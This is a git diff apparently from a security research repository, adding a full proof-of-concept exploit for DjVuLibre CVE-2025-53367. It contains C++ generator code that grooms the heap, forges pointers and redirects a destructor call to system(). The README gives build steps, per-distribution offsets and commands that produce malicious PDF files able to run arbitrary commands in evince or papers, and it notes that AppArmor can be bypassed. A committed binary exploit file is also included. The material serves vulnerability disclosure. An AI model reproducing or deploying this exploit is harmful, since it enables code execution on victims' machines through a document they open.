// Copy pointer back to dcd, where I can modify it. It is stored at ++ // &glineruns + 0x4. ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // Overwrite bottom two bytes of the pointer. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000 | dst); // stop ++ lineno++; ++ ++ // Copy pointer to jimg properly this time. ++ write_P(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ ++ // Overwrite size fields ++ write_H_odd(packer, 0x0, minlo); // data{6,7}, minlo{0,1} ++ write_H_odd(packer, 0x0, maxhi); // minlo{2,3}, maxhi{0,1} ++ write_H_odd(packer, 0x0, lobound); // maxhi{2,3}, lobound{0,1} ++ write_H_odd(packer, 0x0, hibound); // lobound{2,3}, hibound{0,1} ++ write_H_odd(packer, 0x0, 0x0); // hibound{2,3}, reproduce_old_bug ++ ++ // Need to be precise with the stop condition because I haven't left ++ // a prefix that can be overwritten, so I can't let it rewind. So I ++ // need to add just enough to a0 that it will only just overflow ++ // past 0x30000. Luckily I know the exact uint16_t values that I've ++ // written to everything except data{2,3} and data{4,5}. And I also ++ // know that those two values are non-zero. ++ uint16_t knowntotal = dst + minlo + maxhi + lobound + hibound; ++ write_H_odd(packer, 0x0, 0x10000 - knowntotal); // stop ++ // Total value written so far is 0x10000 + data{2,3} + data{4,5}, so ++ // I know that: 0x10002 <= a0 <= 0x2fffe. Therefore, this will cause ++ // a stop that won't rewind: ++ write_H_odd(packer, 0xffff, 0xffff); // stop ++ lineno++; ++} ++ ++static void forge_pointer(BitPacker &packer, size_t &lineno, uint16_t p, ++ uint16_t target) { ++ modify_prevruns(packer, lineno, p - 4, 0x40000); ++ ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // Overwrite bottom two bytes of the pointer. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000 | target); // stop ++ lineno++; ++} ++ ++// This modifies fake_bitmap->gbytes_data, so that fake_bitmap will get ++// freed at the end of the pass. This also wipes bytes_data, but it ++// isn't used so that doesn't matter. ++static void prepare_fake_bitmap_for_reuse(BitPacker &packer, size_t &lineno) { ++ uint16_t p = offsetof_fake_bitmap + offsetof_bytes_data; ++ modify_prevruns(packer, lineno, p, 0x40000); ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | offsetof_fake_bytes_data); ++ lineno++; ++ ++ // Forge a pointer to fake_bitmap. ++ forge_pointer(packer, lineno, offsetof_fake_bytes_data, offsetof_fake_bitmap); ++} ++ ++// Zero final two bytes of grle and go all the way to the first two ++// bytes of grlerows. grlerows should point at offsetof_fake_rlerows. ++static void prepare_fake_bitmap_grlerows(BitPacker &packer, size_t &lineno) { ++ uint16_t p = offsetof_fake_bitmap + offsetof_rle; ++ ++ modify_prevruns(packer, lineno, p + 14, 0x40000); ++ for (p = offsetof_grle + 0x6; p < offsetof_grlerows - 2; p += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ write_H_even(packer, 0x0, 0x40000 | offsetof_fake_rlerows); // stop ++ lineno++; ++} ++ ++// This prepares the fake bitmap so that this memcpy will get ++// called: ++// ++// https://sourceforge.net/p/djvu/djvulibre-git/ci/42029c33b2fb25bc1fa98c80b2be83a2fa23cce1/tree/libdjvu/GBitmap.cpp#l1236 ++// ++// The source pointer for the memcpy needs to be copied to rle after ++// this function finishes. dst is the destination of the memcpy. dst ++// needs to point to a fake chunk, which will get freed and then ++// immediately reallocated. size is the number of bytes that will be ++// memcpy'd, which much match the size of the fake chunk at dst. ++static void prepare_fake_bitmap_for_memcpy(BitPacker &packer, size_t &lineno, ++ uint16_t dst, uint16_t size) { ++ // Forge a pointer to dst in fake_rlerows. ++ forge_pointer(packer, lineno, offsetof_fake_rlerows, dst); ++ ++ // Modify rlelength ++ modify_prevruns(packer, lineno, offsetof_fake_bitmap + offsetof_rlelength - 4, ++ 0x40000); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, size, 0x40000); // stop ++ lineno++; ++} ++ ++// Helper for create_fake_chunks(). ++static void create_fake_chunk_body(BitPacker &packer, size_t &lineno, ++ uint16_t &offset, uint16_t size) { ++ const uint16_t end = offset + size + 0x10; ++ write_H_even(packer, size + 0x15, 0x0); ++ offset += 4; ++ while (offset < end) { ++ write_H_even(packer, 0x0, 0x0); ++ offset += 4; ++ } ++} ++ ++// Create some fake malloc chunks at the specified offset. ++static void create_fake_chunks(BitPacker &packer, size_t &lineno, ++ uint16_t offset, ++ const std::vector &sizes, ++ uint32_t stop) { ++ // Reverse an extra 4 bytes because they'll get zeroed at the end of the line. ++ offset -= 0xc; ++ modify_prevruns(packer, lineno, offset, stop); ++ ++ write_H_even(packer, 0x0, 0x0); ++ offset += 4; ++ ++ // create n chunks. ++ size_t n = sizes.size(); ++ for (size_t i = 0; i < n; i++) { ++ create_fake_chunk_body(packer, lineno, offset, sizes[i]); ++ } ++ create_fake_chunk_body(packer, lineno, offset, 0x10); ++ write_H_even(packer, 0x25, stop); // stop ++ lineno++; ++} ++ ++// Write the shell command string. ++static void write_command(BitPacker &packer, size_t &lineno, uint16_t dst, ++ const char *cmd) { ++ // Sum the uint16_t values so that I can set the width to the correct value. ++ size_t n = strlen(cmd); ++ uint32_t total = 0; ++ ++ for (size_t i = 0; i < n; i += 4) { ++ uint16_t p[2] = {0, 0}; ++ memcpy(p, &cmd[i], std::min(sizeof(p), n - i)); ++ total += p[0] + p[1]; ++ } ++ ++ // Add 1 to the total to use as a stop value. ++ total++; ++ ++ // Need to modify width manually because it needs a bigger ++ // stop value than usual. ++ uint32_t stop = ((total >> 16) + 2) << 16; ++ // Point prevruns at dcd. ++ modify_prevruns_relative(packer, lineno, 0, 0x40000); ++ for (size_t i = 0; i < offsetof_dcd_width; i += 4) { ++ write_H_even(packer, 0, 0); ++ } ++ write_H_even(packer, total & 0xffff, stop | (total >> 16)); ++ lineno++; ++ ++ modify_prevruns(packer, lineno, dst, stop); ++ for (size_t i = 0; i < n; i += 4) { ++ uint16_t p[2] = {0, 0}; ++ memcpy(p, &cmd[i], std::min(sizeof(p), n - i)); ++ write_H_even(packer, p[0], p[1]); ++ } ++ ++ write_H_even(packer, 0, 1); // stop ++ lineno++; ++ ++ // reset width ++ modify_prevruns_relative(packer, lineno, 0, stop); ++ for (size_t i = 0; i < offsetof_dcd_width; i += 4) { ++ write_H_even(packer, 0, 0); ++ } ++ write_H_even(packer, 0x0, stop | 0x3); ++ lineno++; ++} ++ ++static void chunk_Smmr(IFFByteStream &iff, ++ const uint16_t distance_traits_to_strtol, ++ const uint16_t distance_strtol_to_system, ++ const char *command) { ++ iff.put_chunk("Smmr"); ++ uint8_t magic[4] = {'M', 'M', 'R', '\0'}; ++ iff.get_bytestream()->write(magic, sizeof(magic)); ++ ++ // This choice of width will allocate a chunk of size 0x220, which is ++ // waiting in the tcache thanks to the feng shui phase which just ++ // happened. It means that dcd->lineruns will get allocated immediately ++ // below dcd in memory, so I can use the buffer overflow to corrupt dcd. ++ const uint16_t width = (0x10 * 0x21) / 2; ++ ++ // `height` is the number of lines. It needs to be bigger than the number ++ // of steps in the exploit. For example, it gets decremented every time ++ // write_stop is called. It is also used in the calculation of ++ // `blocksize`. ++ const uint16_t height = 100 * 22; ++ const uint16_t blocksize = ++ std::min(500, std::max(64, std::max(width / 17, height / 22))); ++ const uint16_t blocksperline = (width + blocksize - 1) / blocksize; ++ ++ iff.get_bytestream()->write16(width); // width ++ iff.get_bytestream()->write16(height); // height ++ ++ uint8_t bitbuf[0x20000]; ++ BitPacker packer(bitbuf, sizeof(bitbuf)); ++ size_t lineno = 0; ++ uint16_t p = 0; ++ ++ // Pass 0 ++ lineno = 0; ++ ++ // skip ++ firstrun(packer, lineno, width, blocksize, blocksperline); ++ ++ overwrite_width(packer, 0x0); ++ write_stop(packer, lineno, 0x40000); ++ ++ create_write_what_where_gadget(packer, lineno); ++ ++ // Clean the memory in the scratch area. ++ wipe_bytes_at_dst(packer, lineno, offsetof_scratch_area, ++ offsetof_scratch_area_end - offsetof_scratch_area, 0x40000); ++ ++ make_backup_ptr(packer, lineno); ++ ++ // Copy arena pointer components. ++ copy_uint16(packer, lineno, offsetof_dcd_ptr_backup + 2, arena_ptrbytes_2_3); ++ copy_uint16(packer, lineno, offsetof_dcd_ptr_backup + 4, arena_ptrbytes_4_5); ++ ++ // The backup pointer got trashed by copy_uint16, so build it again. ++ make_backup_ptr(packer, lineno); ++ ++ std::vector fake_chunk_sizes = {sizeof_GBitmap, sizeof_fake_chunk, ++ sizeof_fake_chunk}; ++ create_fake_chunks(packer, lineno, offsetof_fake_bitmap, fake_chunk_sizes, ++ 0x40000); ++ ++ // Overwrite jimg->blits.data and tinker with its size fields so ++ // that it will get reallocated at the end of this pass. I'll use it ++ // to free fake_bitmap so that it will get allocated on the next ++ // pass. ++ modify_jimg_blits(packer, lineno, offsetof_blits_data, offsetof_fake_bitmap, ++ 0, 4, 0, 4); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 1 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk1, ++ sizeof_fake_chunk); ++ ++ // Write a pointer to jimg to fake_bitmap->rle, so that the memcpy will ++ // copy the contents of jimg to fake_chunk, where it's easier to work with ++ // because it's at a fixed offset. ++ modify_prevruns(packer, lineno, offsetof_fake_bitmap + offsetof_rle - 4, ++ 0x40000); ++ ++ // Calculate the address of jimg relative to the address stored in ++ // dcd.prevruns. ++ write_H_even(packer, 0x0, ++ distance_jimg_to_dcd + offsetof_dcd_prevruns - 0x10); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ // Overwrite bottom bytes of grle so that it points at fake_bitmap->bytes. ++ write_H_odd(packer, 0x40000, offsetof_fake_bitmap + offsetof_bytes); // stop ++ lineno++; ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 2 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ // Split the traits pointer into separate components, because I ++ // need to use it twice and it'll get trashed if I use pointer_add ++ // on it directly. ++ p = offsetof_fake_chunk1 + offsetof_blits_traits; ++ copy_uint16(packer, lineno, p + 0, traits_ptrbytes_0_1); ++ copy_uint16(packer, lineno, p + 2, traits_ptrbytes_2_3); ++ copy_uint16(packer, lineno, p + 4, traits_ptrbytes_4_5); ++ ++ // Restore the traits pointer in its original location. ++ copy_uint16(packer, lineno, traits_ptrbytes_0_1, p + 0); ++ copy_uint16(packer, lineno, traits_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, traits_ptrbytes_4_5, p + 4); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk2, ++ sizeof_fake_chunk); ++ ++ // Reconstruct the traits pointer in fake_bitmap->rle. ++ p = offsetof_fake_bitmap + offsetof_rle; ++ copy_uint16(packer, lineno, traits_ptrbytes_0_1, p + 0); ++ copy_uint16(packer, lineno, traits_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, traits_ptrbytes_4_5, p + 4); ++ ++ // Reconstruct grle ++ p = offsetof_fake_bitmap + offsetof_grle; ++ modify_prevruns(packer, lineno, p - 2, 0x40000); ++ write_H_even(packer, 0x0, offsetof_fake_bitmap + offsetof_bytes); ++ write_H_even(packer, 0xffff - offsetof_fake_bitmap + offsetof_bytes, 0xaaab); ++ write_H_even(packer, 0xaaab, 0xaaab); ++ lineno++; ++ ++ copy_uint16(packer, lineno, arena_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, arena_ptrbytes_4_5, p + 4); ++ ++ modify_prevruns(packer, lineno, p + 6, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 3 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ // fake chunk 1 currently contains a copy of jimg, which I don't ++ // need anymore after this pass, so it can be used as the memcpy ++ // destination. ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk1, ++ sizeof_fake_chunk); ++ ++ pointer_add(packer, lineno, offsetof_fake_chunk1 + offsetof_blits_traits, ++ offsetof_fake_bitmap + offsetof_rle, ++ distance_traits_to_strtol - 0x10); ++ ++ // Reconstruct grle ++ p = offsetof_fake_bitmap + offsetof_grle; ++ modify_prevruns(packer, lineno, p - 2, 0x40000); ++ write_H_even(packer, 0x0, offsetof_fake_bitmap + offsetof_bytes); ++ write_H_even(packer, 0xffff - offsetof_fake_bitmap + offsetof_bytes, 0xaaab); ++ write_H_even(packer, 0xaaab, 0xaaab); ++ lineno++; ++ ++ copy_uint16(packer, lineno, arena_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, arena_ptrbytes_4_5, p + 4); ++ ++ modify_prevruns(packer, lineno, p + 6, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 4 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ // Build a fake traits. I've already memcpy'd the traits to the ++ // fake_chunk2, so I just need to overwrite the fini field with ++ // a pointer to system. ++ uint16_t faketraits = offsetof_fake_chunk2; ++ ++ // A pointer to __GI___isoc23_strtol is currently stored at fake_chunk1 + ++ // 0x10. Add an offset to get the address of system and write it into the fini ++ // field of the fake traits. ++ pointer_add(packer, lineno, offsetof_fake_chunk1 + 0x10, faketraits + 0x20, ++ distance_strtol_to_system); ++ ++ // zero top two bytes of the pointer ++ modify_prevruns(packer, lineno, faketraits + 0x26, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ write_command(packer, lineno, offsetof_command, command); ++ ++ modify_jimg_blits(packer, lineno, offsetof_blits_traits, faketraits, 0, 0, 0, ++ 0); ++ ++ // Point jimg->blits.data at the command string and modify the size ++ // fields so that jimg->blits.traits->fini() will get called on it. ++ modify_jimg_blits(packer, lineno, offsetof_blits_data, offsetof_command, 0, 0, ++ 2, 0); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ iff.get_bytestream()->write(bitbuf, packer.byteoffset()); ++ ++ iff.close_chunk(); ++} ++ ++// Make a comment string of a specific length by repeating the message. ++std::string mkcomment(const char *msg, size_t size) { ++ const size_t msglen = strlen(msg); ++ std::string s; ++ s.reserve(size); ++ while (s.size() + msglen <= size) { ++ s += msg; ++ } ++ while (s.size() + 1 <= size) { ++ s += '\n'; ++ } ++ return s; ++} ++ ++static void create_photo_djvu_file(IFFByteStream &iff, ++ const uint16_t distance_traits_to_strtol, ++ const uint16_t distance_strtol_to_system, ++ const char *command) { + // Prepare info chunk +- GP ginfo=DjVuInfo::create(); +- DjVuInfo &info=*ginfo; +- info.width = w; +- info.height = h; +- info.dpi = (flag_dpi>0 ? flag_dpi : 100); +- info.gamma = (flag_gamma>0 ? flag_gamma : 2.2); ++ GP ginfo = DjVuInfo::create(); ++ DjVuInfo &info = *ginfo; ++ info.width = 200; ++ info.height = 200; ++ info.dpi = 100; ++ info.gamma = 2.2; + // Write djvu header and info chunk + iff.put_chunk("FORM:DJVU", 1); + iff.put_chunk("INFO"); + info.encode(*iff.get_bytestream()); ++ { ++ char txt[4096]; ++ memset(txt, 0, sizeof(txt)); ++ strcpy(txt, "kevwozere"); ++ iff.get_bytestream()->write(txt, sizeof(txt)); ++ } + iff.close_chunk(); +- // Write all chunks +- int flag = 1; +- for (int i=0; flag && i gd = JB2Dict::create(); ++ JB2Dict &d = *gd; ++ std::vector comments; ++ size_t comment_idx = 0; ++ d.encode_shape_cb = [&d, &comments, &comment_idx]() { ++ std::string& c = comments[comment_idx++]; ++ d.comment = c.c_str(); ++ }; ++ ++ for (size_t i = 0; i < 0x9; i++) { ++ for (size_t j = 0xb; j > 1; j--) { ++ comments.push_back(""); ++ // Total size will be 16*j-4, so it will allocate ++ // a chunk of size 16*(j+1). ++ djbz_bitmap(d, 3, 1008, (j*0x10 - 0x17)/3 + 1); ++ } ++ } ++ ++ for (size_t i = 0; i < 2; i++) { ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 1008, 0xae); // 0x220 tcache chunk ++ } ++ ++ // The portcaster is a nuisance because it allocates a bunch of ++ // small chunks. The exact amount of memory that it allocates ++ // seems to be non-deterministic, so it could ruin all my ++ // work. Luckily the timing of when it runs is completely ++ // deterministic: it gets triggered every 256 bytes. It gets ++ // called several times during the decoding of the large comment ++ // below, but I have tuned things so that it won't get called ++ // again before the end of this Djbz segment. ++ ++ // The purpose of this large comment is to create a hole in memory ++ // where jimg, prevruns, lineruns, and dcd will get allocated. I ++ // allocate this comment, then plug any other holes in memory ++ // before freeing it so that it will get used for those ++ // allocations. ++ comments.push_back(mkcomment("kevwozere101\n", 0xbdf)); ++ djbz_bitmap(d, 3, 0xff00, 0x2a); ++ ++ // Plug holes. Use a very large bitmap that compresses to a small ++ // size so that the temporary mallocs that happen during parsing ++ // get mmapped and won't interfere with the thread-local arena. ++ for (size_t i = 0; i < 0x10; i++) { ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 0xff00, 0x2a); ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 0xff00, 1); + } ++ ++ comments.push_back(mkcomment("\n", 0x98)); // jimg ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("\n", 0x208)); // prevruns, lineruns ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("\n", 0x78)); ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("kevwozere102\n", 0x17)); ++ ++ d.encode(iff.get_bytestream()); ++ } ++ iff.close_chunk(); ++ ++ chunk_Smmr(iff, distance_traits_to_strtol, distance_strtol_to_system, ++ command); ++ + // Close djvu chunk + iff.close_chunk(); + } + ++// parse an offset like 0x1010 ++uint16_t parse_offset(const char *arg) { ++ unsigned long n; ++ if (strncmp(arg, "0x", 2) == 0) { ++ // hex ++ n = strtoul(arg + 2, 0, 16); ++ } else { ++ // dec ++ n = strtoul(arg, 0, 10); ++ } ++ if (n >= 0x10000) { ++ G_THROW(ERR_MSG("offset is too big for a uint16_t")); ++ } ++ return n; ++} + +-int +-main(int argc, char **argv) +-{ ++int main(int argc, char **argv) { + DJVU_LOCALE; +- GArray dargv(0,argc-1); +- for(int i=0;i gibs=ByteStream::create(g().pnmurl,"rb"); +- ByteStream &ibs=*gibs; +- char prefix[16]; +- memset(prefix, 0, sizeof(prefix)); +- if (ibs.readall((void*)prefix, sizeof(prefix)) < sizeof(prefix)) +- G_THROW( ERR_MSG("c44.failed_pnm_header") ); +-#ifdef DEFAULT_JPEG_TO_HALF_SIZE +- // Default specification for jpeg files +- // This is disabled because +- // -1- jpeg detection is unreliable. +- // -2- quality is very difficult to predict. +- if(prefix[0]!='P' &&prefix[0]!='A' && prefix[0]!='F' && +- !flag_mask && !flag_bpp && !flag_size && +- !flag_slice && !flag_decibel) +- { +- parse_size("10,20,30,50"); +- flag_size = flag_percent = 1; +- } +-#endif +- // Change percent specification into size specification +- if (flag_size && flag_percent) +- for (int i=0; isize())/ 100; +- flag_percent = 0; +- // Load images +- int w = 0; +- int h = 0; +- ibs.seek(0); +- GP iw; +- // Check color vs gray +- if (prefix[0]=='P' && (prefix[1]=='2' || prefix[1]=='5')) +- { +- // gray file +- GP gibm=GBitmap::create(ibs); +- GBitmap &ibm=*gibm; +- w = ibm.columns(); +- h = ibm.rows(); +- iw = IW44Image::create_encode(ibm, getmask(w,h)); +- } +- else if (!GStringRep::cmp(prefix,"AT&TFORM",8) || +- !GStringRep::cmp(prefix,"FORM",4)) +- { +- char *s = (prefix[0]=='F' ? prefix+8 : prefix+12); +- GP giff=IFFByteStream::create(gibs); +- IFFByteStream &iff=*giff; +- const bool color=!GStringRep::cmp(s,"PM44",4); +- if (color || !GStringRep::cmp(s,"BM44",4)) +- { +- iw = IW44Image::create_encode(IW44Image::COLOR); +- iw->decode_iff(iff); +- w = iw->get_width(); +- h = iw->get_height(); +- } +- else +- G_THROW( ERR_MSG("c44.unrecognized") ); +- // Check that no mask has been specified. +- if (! g().mskurl.is_empty()) +- G_THROW( ERR_MSG("c44.failed_mask") ); +- } +- else // just for kicks, try jpeg. +- { +- // color file +- const GP gipm(GPixmap::create(ibs)); +- GPixmap &ipm=*gipm; +- w = ipm.columns(); +- h = ipm.rows(); +- iw = IW44Image::create_encode(ipm, getmask(w,h), arg_crcbmode); +- } +- // Call destructor on input file +- gibs=0; +- +- // Perform compression PM44 or BM44 as required +- if (iw) +- { +- g().iw4url.deletefile(); +- GP iff = +- IFFByteStream::create(ByteStream::create(g().iw4url,"wb")); +- if (flag_crcbdelay >= 0) +- iw->parm_crcbdelay(flag_crcbdelay); +- if (flag_dbfrac > 0) +- iw->parm_dbfrac((float)flag_dbfrac); +- int nchunk = resolve_quality(w*h); +- // Create djvu file +- create_photo_djvu_file(*iw, w, h, *iff, nchunk, g().parms); +- } +- } +- G_CATCH(ex) +- { +- ex.perror(); +- exit(1); ++ GArray dargv(0, argc - 1); ++ for (int i = 0; i < argc; ++i) ++ dargv[i] = GNativeString(argv[i]); ++ G_TRY { ++ if (argc != 5) { ++ G_THROW(ERR_MSG("usage: ")); + } ++ ++ // Distance from jimg->blits.traits to __GI___isoc23_strtol pointer ++ const uint16_t distance_traits_to_strtol = parse_offset(argv[1]); ++ ++ // Distance from &__GI___isoc23_strtol to &system ++ const uint16_t distance_strtol_to_system = parse_offset(argv[2]); ++ ++ GURL iw4url = GURL::Filename::UTF8(dargv[4]); ++ iw4url.deletefile(); ++ GP iff = ++ IFFByteStream::create(ByteStream::create(iw4url, "wb")); ++ // Create djvu file ++ create_photo_djvu_file(*iff, distance_traits_to_strtol, ++ distance_strtol_to_system, argv[3]); ++ } ++ G_CATCH(ex) { ++ ex.perror(); ++ exit(1); ++ } + G_ENDCATCH; + return 0; + } diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md index ee17e55..48edc34 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -1,11 +1,56 @@ # Proof of concept for DjVuLibre CVE-2025-53367 -At this time, we are only sharing @antonio-morales's original -fuzzer-generated poc, so that people can quickly test whether they're -running a vulnerable version of DjVuLibre. This poc only causes the -DjVuLibre library to crash. We are delaying publication of our more -sophisticated poc, which is able to bypass ASLR and gain code -execution. +This poc uses CVE-2025-53367 to achieve code execution in the +default PDF viewer on many Linux distributions: +[evince](https://gitlab.gnome.org/GNOME/evince) or +[papers](https://gitlab.gnome.org/GNOME/papers). + +Because the DjVuLibre file format is quite complicated, it was +easiest to create the poc by reusing the DjVuLibre codebase, +and modifying one of its tools to generate the poc file. So to +build the poc, you need to clone the official DjVuLibre repo +and then apply a patch: + +```bash +git clone https://git.code.sf.net/p/djvu/djvulibre-git DjVuLibre-poc-CVE-2025-53367 +cd DjVuLibre-poc-CVE-2025-53367 +git checkout 4a285e8da5cd9a2a6b296242a952ee96e519280d +git apply ../DjVuLibre-poc-CVE-2025-53367.diff +``` + +Build it like this: + +```bash +./autogen.sh --prefix=`pwd`/install +make install +``` + +Now generate the poc file like this: + +```bash +./install/bin/c44 0x1010 0x4770 "google-chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ" plucky.pdf # Ubuntu 25.04 +./install/bin/c44 0x1010 0x4360 "google-chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ" noble.pdf # Ubuntu 24.04 +``` + +The first two parameters are offsets that need to be tuned for +different Linux distributions. The first is the distance between two +pointers in `libdjvulibre.so` and the second is the distance between +two pointers in `libc.so`. The third parameter is the command string +that will be passed to `system()`. Note that evince/papers run under +an [AppArmor](https://apparmor.net/) profile which will block some +commands. It's not super-restrictive, so there are ways of getting +past it. You can use the `aa-exec` tool to experiment with what's +possible: + +```bash +aa-exec -d -v -p /usr/bin/papers /bin/bash -c "echo 1337 > ~/pwned.txt" +``` + +## Original fuzzer-generated poc + +We published this (much simpler) version of the poc sooner, to help +people quickly test whether they're running a vulnerable version of +DjVuLibre.This poc only causes the DjVuLibre library to crash. [Fuzzer-generated poc file](./fuzzer-poc.djvu) @@ -13,4 +58,5 @@ execution. * https://github.blog/security/vulnerability-research/cve-2025-53367-an-exploitable-out-of-bounds-write-in-djvulibre/ * https://www.openwall.com/lists/oss-security/2025/07/03/1 -* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ \ No newline at end of file +* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ +* https://github.com/kevinbackhouse/DjVuLibre-poc-CVE-2025-53367 (this same poc in a standalone git repo) diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf new file mode 100644 index 0000000000000000000000000000000000000000..37c9f5f0036fee87b0b9c33ee19d0649db976324 GIT binary patch literal 82468 zcmeGl3sh8PdSGB+M#peLCCA5Tidg0%G@xb*LIld-70@)@&Pbp*A{tSvB`xCvsoWex z4aV#Miv%9sWl>tOhqQ`IrY8wdFdx{mER>{~naZBrd+z|k!2EL=?#%b!`a5%S9PhpV zf4~2GKZ9btVnXLdsYMR6JwxU!To4`^I!`2WlZh%tm7bzF(NKp~@vr=G&8zXr@gnjc zfdGL3fdGL3fdGL3fdGL3fdGL3fdGL3fdGNPuN49z+Spe`BFX8dYu~k;yjj|Ix9o{u zw#?AK|8w?vwQ^?NLx0|}#6Mwllm4Un!EZFme>{^nX~^%@2V)nU|620KK#$!cf~URM zvUA%zhRf?EvhiDY6gM6Hc2`^ei9FX?Bf?j-{`8L6A$Qx9JGG5dX8EV*FP@OTFQa%} zo1`@Jsold;T$eh29G(5+`j3OYaT&Z$adk%IvT0J^@R8edr!CQ?l;)O=|MUy$llbR- zl`rM4nI$_GGeo7jUlPCMS#9Wuxdq$5Zz(xB^5xK?RR?`NF7LT_{8aj=FEvL7KkoL? zR|}ih{L|o+bl_A}(T+x}xOb z#HR1I-KzGxGi+|QbZfkyq;T$u|6Y23tN!rk2lbbxGq6eH^b|yHhd61sv?1kZXH~? zY|jrbDn!pG4%DB2I;QCI-4CbT9^i7cXxNv^3$@Mj9{X-{?e*C|7mN$lE{I(9NOFqX zjM9Wwzmn}yZ&yF*{gXHOO5i|{fDi)!CrDViKgHwv+2;pW&H3wV{((W~P9G3Q%yFJQ z;KZWW1LtIZ{eIBDK7BXsaN+uWC)eJ}8t{x}!S?)5);U&Xq}Mu?9nu~8_N{-c-*v<3 z;qU!)($o^^`QIJfF*&kf!XG{e4f#YHxOesC60cEt((_4*u`d(_?%m=W7g13@!7#7h zR^4}vxbLI^m-}?Pi zk?;DQo0j&A$K=7G*EiSyDSGwlWRb&TUTSre$idY$%PVJ{)}5N6k`|6qWKtIm>5Vl3 zUb$r|`R9d6>fmH8`H=vm@5r#qJ;sPU?SHf*mU5=J0n1NoG`+)ZhV=iXGpTbsS8(8naH$*Mm4l`KfjQ+A*5!sVE7{_PvPi_5Bou;PE67KpMjcYCZ=1NE(N0(cU@dAF z;96EhA?;D6mA}`6vEAqGBB21&!BJY66t~o-u7l zn5IjFW0hd5UzIX~SrXWB^2hL1rQ2d?w+Y_vcdgyx`*;}7k#t= zAxKS}v#-Kt;@!=E24l9D&?@ZZO4`e4QFz~u-H1|mShbzKV1dNqv)I><7(Ui$iqPAz z*=zE_?QeZv1hBs;)J1-!spHAqm;MpgEdn9f z8W4ijf)K0gw582NZ8XL1e*Xs zupTN1f|U&ddDpcNIGhi`o17;>pzuTxT_O?$gV#ZDrl@5QynhY|2E(w3K!{_d(jXX9 